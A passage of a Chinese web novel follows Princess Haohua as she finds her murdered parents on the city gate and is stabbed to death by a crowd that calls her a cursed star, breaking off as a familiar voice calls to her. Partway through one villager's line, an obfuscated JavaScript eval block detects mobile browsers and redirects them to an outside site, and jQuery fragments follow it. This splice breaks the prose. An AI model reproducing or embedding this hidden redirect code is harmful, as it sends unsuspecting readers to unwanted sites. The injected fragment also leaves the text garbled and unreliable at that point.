战火的风沙吹过耳畔,带起阵阵嗡鸣。
皓华怔在原地,视线落在那两具熟悉的尸体上,瞳孔骤缩,喉间上下来回翻滚之间,却像堵了一块硬石头,竟说不出一个字来。
胸口被扯起一丝难以言喻的疼痛,她捂住心跳的地方,鼻头渐渐发酸,整个身子如坠千斤,仿佛将她拉向一座寒冷的深渊。
那里冰凉刺骨,一根根尖锐的冰锥铺天盖地地朝她涌来。
真的很冷,很痛,感觉就要窒息了。
残败的城楼被阴云笼罩,慢慢陷入沉沉的墨色,“轰隆!”几声闷雷,像极了老天爷的叹息,最后豆大的雨滴坠落下来,密密麻麻。
雨滴打在脸上,生疼的触感,宛如一把利刃正在剜心,活活将她撕裂。
“父王!!母后!!”
皓华艰难的撬动嘴唇,发出一声低哑的嘶吼,清透的泪珠顺着脸颊滑落,将她瞬间推去更深的深渊。
那上面挂着的,不是别人,正是天耀国的国主和王后。
“为什么?……为什么会这样?……明明我已经答应去和亲了,还是这样的结果。”
“父王!母后!这到底是怎么回事啊!”
她没想到,再次与父王母后见面的方式,竟是以这样一种天人永隔的形式,她踉跄的爬起身子,口中低声呢喃,望着父王和母后那两具死不瞑目的尸体,浑身止不住的发颤。
“啊啊啊啊!!!!!”
这一声震撼肺腑的哭喊,是皓华燃尽的最后一丝气力,她向天嘶吼:“老天爷,你为什么要这么对我啊……明明我想护住天耀国,护住所有人,为什么他们还是要死,你到底有没有眼睛看啊……”
她挣扎着想要问问苍天,竟然给了她一个公主的身份,却为什么又让她什么都做不了,眼睁睁见双亲惨死,尸身受辱。国土沦陷,百姓流离失所,国与家同亡。
情绪彻底失控,怒喊的声音越来越大,喊到最后时,连声音都破了。
这一刻,她放弃了属于公主的温柔,矜贵和优雅,有的只是父王母后女儿这个身份。
她可以哭,可以喊,可以骂,没人会说她没有规矩,不够端庄。
阴雨逐渐蔓延到每一寸角落,带着那几声撕心裂肺的哭喊,传遍天地。
四周本是一片废墟和死寂,可下一秒,一大群衣衫褴褛的百姓从八方涌来,将她围在中央。
数十双麻木空洞的目光齐齐锁在她的身上,像是在盯着一只落单而失去父母庇佑的幼鸟,脸上挂着皓华看不懂的神色。
她面无表情的站在中心,身子不再挺直,双眸似蒙了一层薄薄的的水雾,湿漉漉的打量着周围的一切。
她不知道他们要做什么,是来看这个曾经的公主现在如何落魄,还是来准备来唾弃她这个被称作为灾星的祸国罪人。
随便吧随便,反正现在这个样子,活着和死又有什么区别,不过是副失去灵魂的躯壳罢了。
百姓们越靠越近,众人的呼吸和心跳很快将死寂打破,皓华愣在原地,豪无防备的对上所有人的目光。
这些目光很冷,她知道。
“这就是皓华公主吗?她怎么在这,她不是去和亲了吗?”
率先开口的是一个手拄拐杖的老叟,脸色苍白,多了几分凝重。
曾经蓬勃的树木早已被炮火燃烧而变得衰败不堪,零星还剩几片发黄的叶片,落在淌满血水的阴沟里,被风轻轻拂起几丝涟漪,经久不散。
“确实是皓华公主,之前我在粥棚见过她,她亲手给我打过粥。”
“是啊,公主的容貌天下绝无仅有,不会认错。”
一对抱着小儿的年轻夫妇,正低着头窃窃私语,声音不大,却让其他人都听的很清楚。
“天耀国已经没了,她也不再是公主了,她和我们一样,都是一个无家可归之人。”
“那又怎样!”
等确认了皓华的身份,人群里突然闯出一名失去半只眼睛的妇人,她捂着那只还在流血的眼睛,大声吼道:“就是因为她,我男人上了战场就没回来,老娘这只眼睛也被敌军给戳瞎了。”
“这些和公主有什么关系啊,你可不要胡乱攀咬。”之前那名拄拐的老叟开口打断,眉间夹了几分忧伤。
那瞎眼妇人继续道:“怎么没关系,难道你们没听说过“皓月沉,天下沦,皓月晦,君王碎。”这两句谶谣吗?这里面说的就是她,我们天耀国的灾星,会让我们国破家亡的罪魁祸首!”
“啊!!怎么会,公主她明明是个好人啊。”刚才那一对夫妻压低声音说道。
“好人?你们知道为什么这次大梁国明明都已经答应和谈了,还撕毁和盟也要大举进攻吗?就是因为他们的巫师也算出我们这位皓华公主就是祸国之人,万万不能嫁到他们大梁国去。”瞎眼妇人越说越来劲,恨不得把其中的厉害关系通通讲清楚。
“竟是如此!公主她真是祸国灾星,如今她现在回来,岂不是要我们的命吗?”
“这可怎么办啊,难怪我们天耀国久败不胜,原来是因为她。可怜我那年纪轻轻的小儿子,上了战场就音讯全无啊!”
“对,她是灾星!是罪人!”人群中依稀开始有几个人跟着起哄,将所有人的悲愤情绪带到最高。
“我、我不是……不是的……”皓华立在中央,阴湿的冷风一遍遍刮过她细嫩的皮肤,随着周围响起一声又一声的谩骂,她低哑着嗓子,无力反驳。
“我曾听过一位大师说过,只要能亲手捅上一刀,沾到灾星的血,就可以消灾解祸,福气自来。”一名瘸着一只腿的中年汉子,捏着发干的嗓子说道。
“你们要干什么?!”
那名拄拐的老叟蹒跚着脚步挡在皓华身前,厉声喝止。
“老东西,我劝你不要多管闲事,你不想活,我们还想呢。”
中年汉子耸着一张凶煞的嘴脸,上前一把就将那名老叟推了出去,恶狠狠道:“下不了手的尽管离开,别挡在这里碍事!”
有这人领头,除了那名老叟和那对年轻夫妇虽心有不忍,却又无力阻止外,其他人面面相觑,都选择留在原地,像是在看戏,又像是在等待着什么。
皓华隐隐觉得不对劲,这些人的目光逐渐变得晦暗,夹杂着一些奇怪的东西。
她心底发沉,本能地挪动着步子,试图脱离他们的包围,可左右望去,根本没有任何可以令她离开的地方,最后脚步落在一截断掉的木头上,身子不小心被绊倒,应声栽地。
她一点点往前爬,可除了那数十双褴褛的鞋袜,其他的她什么都看不到,眼底一片灰暗,裹着泥土和血腥,似要将她吞噬。
“你说的可是真的?可我没捅过人啊,而且公主这么美
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17890463|212717||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,我下不去手啊。”
“我们这么多人,要是一人一刀,人就捅死了,哪还有地方让我们继续对吧。”
……
这些声音一字一句传入皓华的耳中,她后背一凉,感到一阵毛骨悚然,她无法想象自己被捅成筛子的场景。
如今她手无寸铁,气力全无,根本逃不掉,这一刀刀捅进来,难道不是要她的命吗?
恐惧和不安从心底开始蔓延,基于最后一丝求生本能,皓华一点点靠着手上的力气向前爬行,依旧带着最后一丝希望对着众人劝道:“你、你们不能这样做,我是公主,这样做是犯法的。”
“犯法?天耀国都没了,你还是哪门子的公主,这都是你害的,包括我这条瘸了的腿。”那瘸腿的汉子走上前来,露出一股恶笑,表情僵硬道:“对不住了公主,你不该回来,你害了我们所有人,包括你的父王母后,他们都是因你而死。”
他咧嘴的那刻,一把锋利的刀子从皓华的胸腔穿过。
红色的血液瞬间渗透已经脏乱的素衫,仿佛一朵鲜红欲滴的花朵从胸口凝出。
“啊!”
胸腔被灌出血液,白刃染成红色,皓华不受控制瘫倒在地,冷汗涔涔,嘴角淌出血迹。
“下一个,谁要来。”
瘸腿的汉子将染红的白刃从她身上拔下来,喷流而出的血液溅了他一脸,他双眼冒着精光,犹如一只从地狱爬出来的恶鬼。
“我先来,别跟我抢。”
接着再是那名瞎眼的妇人,脸色煞白,举起手中刀子时,心下一狠,刀子瞬间没入皓华的腹腔。
“是她害得我家破人亡,连这只眼睛也被毁了,她该死。”
“啊!!”
汩汩血水从腹腔处涌出,锥心刺骨的疼痛骤然间席卷全身,皓华本能的蜷缩起来,四肢瑟瑟发抖,如坠冰窟。
其他几人见状,也不再继续犹豫,放下心中那一点道德,本着法不则众的心态,更加没了可忌惮的,何况现在城内早已乱成一锅粥,也没人管他们,杀掉灾星这等替天行道的好事,可不能错过,便排着队,等着将刀扎入皓华的身体里。
一刀,两刀,三刀……
疼,真的好疼。
一刀刀刺下去,那件素色长衫已经被全部染成刺眼的红色,皓华一开始还在挣扎,到最后,她红着眼眶放弃了,神情麻木的等着下一把刀的刺入。
她抬眼再看了一眼城楼上挂着的父王和母后,仿佛那种深入骨髓的疼痛,也不算什么,伴随着眼底淌下几滴混着血液的泪水,心如死灰的闭上双眼,准备迎接着属于她的死亡。
灾星。罪人。
哈哈哈哈……这一切都要结束了,父王母后,我可以来陪你们了。
皓华在心里发笑,原来这便是死亡的感觉,是痛,也是解脱。
天穹阴云散去,密雨停歇,云层里透出一丝光亮,映照在她的脸上。
她笑了。
眼底带着最后的明媚,似雨后彩虹,投在了她琥珀色的瞳孔里。
好困。也好累。
身体平整的躺在地上,感受着这片土地带来的最后一缕温存,就如同父王母后的怀抱,将她紧紧包裹。
“别走,等等我。“
眼皮将要落下的最后一刻,耳边传来一句熟悉的声音。
那是……。